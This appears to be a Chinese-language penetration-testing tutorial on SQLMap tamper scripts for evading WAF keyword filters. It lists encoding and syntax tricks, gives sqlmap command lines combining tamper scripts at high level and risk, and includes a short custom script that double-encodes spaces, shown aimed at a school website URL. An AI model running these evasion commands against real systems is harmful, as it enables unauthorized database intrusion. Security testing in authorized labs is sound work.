一、Tamper脚本核心价值
作为SQLMap的载荷修改模块,Tamper脚本通过语法变形绕过WAF的关键字检测,其核心原理分为三层:

  1. 编码层‌:URL/Unicode/Base64编码混淆(如charunicodeescape.py将单引号转为%EF%BC%87
  2. 语法层‌:
    • 空格替换为注释(space2hash.py生成%23randomText%0A
    • 运算符等价转换(equaltolike.py=替换为LIKE
    • 关键字拆分(nonrecursivereplacement.pyUNION转为UNIOUNIONN
  3. 协议层‌:分块传输、HTTP头注入等

二、实战绕过场景与脚本选择
▶ ‌场景1:过滤空格与关键字


python sqlmap.py -u "http://target.com/?id=1" --tamper="space2morehash.py,nonrecursivereplacement.py"  

  • space2morehash.py:将空格转为随机注释并混淆函数名(USER() → FUNCTION%23xxx%0A()
  • nonrecursivereplacement.py:双重拼接关键词绕过弱规则

▶ ‌场景2:单引号过滤


--tamper=apostrophemask.py # 单引号转UTF编码:' → %EF%BC%87

▶ ‌场景3:深度WAF防护
组合三层策略提升绕过率:


--tamper="charencode.py,space2comment.py,securesphere.py" --level=5 --risk=3

三、自定义脚本开发实战
案例:绕过某ASP.NET WAF的FROM [空格]过滤规则

  1. 问题分析‌:WAF拦截含FROM 的请求,手动测试发现%2b(双重编码空格)可绕过
  2. 脚本编写‌:

# 文件名:space2doubleencode.py  
from lib.core.enums import PRIORITY  
__priority__ = PRIORITY.NORMAL  

def tamper(payload):  
    return payload.replace(" ", "%2520")  # 双重URL编码空格  

  1. 调用验证‌:

python sqlmap.py -u "http://school.edu/search?q=1" --tamper=space2doubleencode.py

四、测试注意事项

  1. 组合策略优先‌:单一脚本绕过率有限,建议组合3-5个脚本(如space2plus+base64encode+randomcomments
  2. 环境模拟‌:使用DVWA或OWASP BWA搭建含WAF的测试环境
  3. 合规性‌:严格在授权范围内测试,避免法律风险

进阶技巧‌:

  • 使用--logs-dir保存攻击日志分析WAF行为
  • 移动端注入尝试:--mobile模拟手机UA绕过特殊规则

精选文章:

Headless模式在自动化测试中的核心价值与实践路径

微服务架构下的契约测试实践

Cypress在端到端测试中的最佳实践

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐